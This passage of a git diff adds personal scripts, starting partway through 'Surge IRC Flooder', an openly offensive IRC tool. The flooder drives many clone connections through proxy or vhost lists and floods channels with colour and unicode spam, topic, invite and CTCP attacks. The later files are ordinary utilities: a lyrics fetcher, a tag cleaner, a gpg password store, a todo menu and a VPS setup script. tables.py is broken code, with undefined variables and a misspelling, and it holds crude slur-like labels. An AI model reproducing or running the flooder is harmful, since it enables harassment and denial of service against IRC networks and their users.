+ if 'topic' in config.attacks.channel:
+ config.attacks.channel.remove('topic')
+ elif args[1] == '492':
+ if 'ctcp' in config.attacks.nicklist:
+ config.attacks.nicklist.remove('ctcp')
+ elif args[1] == '499':
+ if 'topic' in config.attacks.channel:
+ config.attacks.channel.remove('topic')
+ elif args[1] == '518':
+ if 'invite' in config.attacks.nicklist:
+ config.attacks.nicklist.remove('invite')
+ elif args[1] in bad_numerics:
+ error('Flood protection has been enabled!', bad_numerics[args[1]])
+ self.sock.close()
+ elif args[1] == 'KICK':
+ chan = args[2]
+ kicked = args[3]
+ self.event_kick(chan, kicked)
+ elif args[1] == 'QUIT':
+ nick = args[0].split('!')[0][1:]
+ self.event_quit(nick)
+
+ def invite(self, nick, chan):
+ self.raw(f'INVITE {nick} {chan}')
+
+ def join_channel(self, chan, key=None):
+ if key:
+ self.raw(f'JOIN {chan} {key}')
+ else:
+ self.raw('JOIN ' + chan)
+
+ def listen(self):
+ while True:
+ try:
+ data = self.sock.recv(1024).decode('utf-8')
+ for line in (line for line in data.split('\r\n') if line):
+ if len(line.split()) >= 2:
+ self.handle_events(line)
+ except (UnicodeDecodeError,UnicodeEncodeError):
+ pass
+ except:
+ break
+ self.sock.close()
+
+ def nick(self, nick):
+ self.raw('NICK ' + nick)
+
+ def notice(self, target, msg):
+ self.raw(f'NOTICE {target} :{msg}')
+
+ def part(self, chan, msg):
+ self.raw(f'PART {chan} :{msg}')
+
+ def rainbow(self, msg):
+ if 'color' in config.attacks.channel:
+ message = ''
+ for i in range(random_int(10,20)):
+ message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
+ message += '\x03{0:0>2} {1} '.format(random_int(2,13), msg)
+ for i in range(random_int(10,20)):
+ message += '\x03{0:0>2},{1:0>2}{2}'.format(random_int(2,13), random_int(2,13), '▄')
+ else:
+ message = '{0} {1} {2}'.format(random_str(random_int(10,20)), msg, random_str(random_int(10,20)))
+ return message
+
+ def raw(self, msg):
+ self.sock.send(bytes(msg + '\r\n', 'utf-8'))
+
+ def register(self):
+ if config.connection.password:
+ self.raw('PASS ' + config.connection.password)
+ self.raw('USER {0} 0 * :{1}'.format(random_str(random_int(5,8)), random_str(random_int(5,8))))
+ self.nick(self.nickname)
+
+ def sendmsg(self, target, msg):
+ self.raw(f'PRIVMSG {target} :{msg}')
+
+ def topic(self, chan, text):
+ self.raw(f'TOPIC {chan} :{text}')
+
+ def unicode(self, msg):
+ start = 0x1000
+ end = 0x3000
+ message = ''
+ for i in range(random.randint(100,150)):
+ message = message + chr(random.randint(start, end))
+ message = message + msg
+ for i in range(random.randint(100,150)):
+ message = message + chr(random.randint(start, end))
+
+
+# Main
+print('#'*56)
+print('#{0}#'.format(''.center(54)))
+print('#{0}#'.format('Surge IRC Flooder'.center(54)))
+print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
+print('#{0}#'.format('https://acid.vegas/trollbots'.center(54)))
+print('#{0}#'.format(''.center(54)))
+print('#'*56)
+parser = argparse.ArgumentParser(usage='%(prog)s <input> [options]')
+parser.add_argument('input', help='file to scan')
+parser.add_argument('-p', '--proxy', help='proxy list', action='store_true')
+parser.add_argument('-v', '--vhost', help='vhost list', action='store_true')
+pargs = parser.parse_args()
+if (pargs.proxy and pargs.vhost) or (not pargs.proxy and not pargs.vhost):
+ error_exit('Invalid arguments.')
+if pargs.proxy:
+ try:
+ import socks
+ except ImportError:
+ error_exit('Missing PySocks module! (https://pypi.python.org/pypi/PySocks)')
+if not os.path.isfile(pargs.input):
+ error_exit('No such input file.')
+data_lines = [line.strip() for line in open(pargs.input).readlines() if line]
+debug(f'Loaded {len(data_lines)} lines from file.')
+random.shuffle(data_lines)
+for i in range(config.throttle.concurrency):
+ with concurrent.futures.ThreadPoolExecutor(max_workers=config.throttle.threads) as executor:
+ checks = {executor.submit(clone(line).connect): line for line in data_lines}
+ for future in concurrent.futures.as_completed(checks):
+ checks[future]
+debug('Flooding is complete.')
+\ No newline at end of file
diff --git a/lyrics.py b/lyrics.py
@@ -0,0 +1,7 @@
+#!/usr/bin/env python
+# requires: https://pypi.org/project/lyricsgenius/
+import sys, lyricsgenius
+genius = lyricsgenius.Genius('CLIENT ACCESS TOKEN') # http://genius.com/api-clients
+genius.verbose = False
+song = genius.search_song(sys.argv[2], sys.argv[1])
+print(song.lyrics) if song else print('no lyrics found')
+\ No newline at end of file
diff --git a/mutag b/mutag
@@ -0,0 +1,12 @@
+#!/bin/sh
+# requires: id3v2 python-eyed3
+# this script removes all id3 tags/album art & sets 'artist' to the directory name & 'song' to the file name
+find $HOME/music -type f | while read SONG; do
+ DIR=$(dirname "$SONG")
+ ARTIST=$(basename "$DIR")
+ TITLE=$(basename "$SONG" | rev | cut -d"." -f2- | rev)
+ echo "$DIR | $ARTIST | $TITLE"
+ eyeD3 --remove-all-images "$SONG"
+ id3v2 --delete-all "$SONG"
+ id3v2 --artist "$ARTIST" --song "$TITLE" -2 "$SONG"
+done
+\ No newline at end of file
diff --git a/pass b/pass
@@ -0,0 +1,65 @@
+#!/bin/sh
+# developed by acidvegas (https://acid.vegas/pass)
+# todo: oathtool check for git gpg gpg2 oathtool shred xclip
+
+GPG_ID="acidvegas"
+GPG_OPTS="--quiet --yes --compress-algo=none --no-encrypt-to --batch --use-agent"
+PASS_DIR=$HOME/.secrets
+
+gc() {
+ git -C $PASS_DIR add -A
+ git -C $PASS_DIR commit -m "$@"
+}
+
+edit() {
+ if [ -d /dev/shm ] && [ -w /dev/shm ] && [ -x /dev/shm ]; then
+ tmp=$(mktemp -u /dev/shm/pw.XXXXXXXXXX)
+ else
+ tmp=$(mktemp -u pw.XXXXXXXXXX)
+ fi
+ trap "shred -f -z $tmp" EXIT
+ if [ -f $PASS_DIR/$1.gpg ]; then
+ gpg2 -d -o $tmp $GPG_OPTS $PASS_DIR/$1.gpg
+ nano $tmp
+ if [ ! "$(gpg2 -d $GPG_OPTS $PASS_DIR/$1.gpg)" = "$(cat $tmp)" ]; then
+ gpg2 -e -r $GPG_ID -o $PASS_DIR/$1.gpg $GPG_OPTS $tmp
+ gc "modified $1"
+ fi
+ else
+ nano $tmp
+ if [ -f $tmp ]; then
+ mkdir -p $(dirname $PASS_DIR/$1)
+ gpg2 -e -r $GPG_ID -o $PASS_DIR/$1.gpg $GPG_OPTS $tmp
+ gc "created $1"
+ fi
+ fi
+}
+
+otp() {
+ echo "not done"
+}
+
+show() {
+ if [ -f $PASS_DIR/$1.gpg ]; then
+ gpg2 -d $GPG_OPTS $PASS_DIR/$1.gpg
+ else
+ echo "error: $1 does not exist"
+ fi
+}
+
+set -f+x
+export GPG_TTY=$(tty)
+umask 077
+mkdir -p $PASS_DIR
+
+if [ "$#" = '2' ]; then
+ if [ "$1" = "edit" ]; then
+ edit $2
+ elif [ "$1" = "otp" ]; then
+ otp $2
+ fi
+elif [ "$#" = '1' ]; then
+ show $1
+else
+ tree -C -l --noreport $PASS_DIR | tail -n +2 | sed -E 's/\.gpg(\x1B\[[0-9]+m)?( ->|$)/\1\2/g'
+fi
+\ No newline at end of file
diff --git a/tables.py b/tables.py
@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+# table plotter - developed by acidvegas in python (https://acid.vegas/random)
+# tableplot.py
+
+data = {
+ 'number' : ('1','2','3','4','5'),
+ 'name' : ('mark', 'steven', 'fredrick', 'bronzel', 'billy'),
+ 'race' : ('simpson', 'WHITE BOI', 'peckerwood', 'bird', 'fartman')
+}
+
+def table(data):
+ columns = len(data)
+ for item in data:
+ max(data[item], key=len)
+ print('┌' + '─'*amount + '┐')
+ print('│ ' + title + ' '*amounnt + ' │ ')
+ print('├───────────┼────────────────┼───────┤')
+
+ print('└───────────┴────────────────┴───────┘')
+\ No newline at end of file
diff --git a/todo b/todo
@@ -0,0 +1,17 @@
+#!/bin/sh
+#todo: custom dmenu args cleaner, cli only mode
+db=$HOME/.todo
+touch $db
+while :
+do
+ cmd=$(dmenu -l 10 -m 0 -fn "Misc Ohsnap.Icons:style=Regular:size=11" -nb "#000000" -nf "#FFFFFF" -sb "#000000" -sf "#00D787" "$@" < "$db")
+ if [ -z "$cmd" ]; then
+ break
+ elif grep -q "^$cmd\$" "$db"; then
+ grep -v "^$cmd\$" "$db" > "$db.$$"
+ mv "$db.$$" "$db"
+ else
+ echo "$cmd" >> "$db"
+ fi
+done
+exit 0
+\ No newline at end of file
diff --git a/vps.sh b/vps.sh
@@ -0,0 +1,25 @@
+#!/bin/sh
+set -xev
+GIT_URL="https://raw.githubusercontent.com/acidvegas/archlinux/master"
+passwd root
+userdel -r alarm
+useradd -m -s /bin/bash acidvegas && gpasswd -a acidvegas wheel && passwd acidvegas
+timedatectl set-timezone America/New_York && timedatectl set-ntp true
+echo "LANG=en_US.UTF-8" > /etc/locale.conf && echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen
+pacman-key --init && pacman-key --populate archlinux
+pacman -Syyu
+pacman -S gcc make patch pkg-config python python-pip
+pacman -S abduco exa git man ncdu sudo tor weechat which
+echo "clear && reset" > /etc/bash.bash_logout
+echo -e "export VISUAL=nano\nexport EDITOR=nano\nunset HISTFILE\nln /dev/null ~/.bash_history -sf" >> /etc/profile
+echo "[[ -f ~/.bashrc ]] && . ~/.bashrc" > /root/.bash_profile
+echo -e "[[ $- != *i* ]] && return\nalias diff='diff --color=auto'\nalias grep='grep --color=auto'\nalias ls='ls --color=auto'\nPS1='\e[1;31m> \e[0;33m\w \e[0;37m: '" > /root/.bashrc
+source /root/.bashrc
+history -c && export HISTFILESIZE=0 && export HISTSIZE=0 && unset HISTFILE
+[ -f /root/.bash_history ] && rm /root/.bash_history
+wget -O /etc/ssh/sshd_config $GIT_URL/etc/ssh/sshd_config
+wget -O /etc/sudoers.d/sudoers.lecture $GIT_URL/etc/sudoers.d/sudoers.lecture
+wget -O /etc/topdefaultrc $GIT_URL/etc/topdefaultrc
+echo -e "set boldtext\nset markmatch\nset minibar\nset morespace\nset nohelp\nset nonewlines\nset nowrap\nset quickblank\nset tabsize 4\nunbind ^J main\ninclude \"/usr/share/nano/*.nanorc\"" > /etc/nanorc
+echo -e "Defaults lecture = always\nDefaults lecture_file = /etc/sudoers.d/sudoers.lecture\nroot ALL=(ALL) ALL\n%wheel ALL=(ALL) ALL" > /etc/sudoers
+echo -e "[Journal]\nStorage=volatile\nSplitMode=none\nRuntimeMaxUse=500K" > /etc/systemd/journald.conf
+\ No newline at end of file
| | | | | | | | | | | | |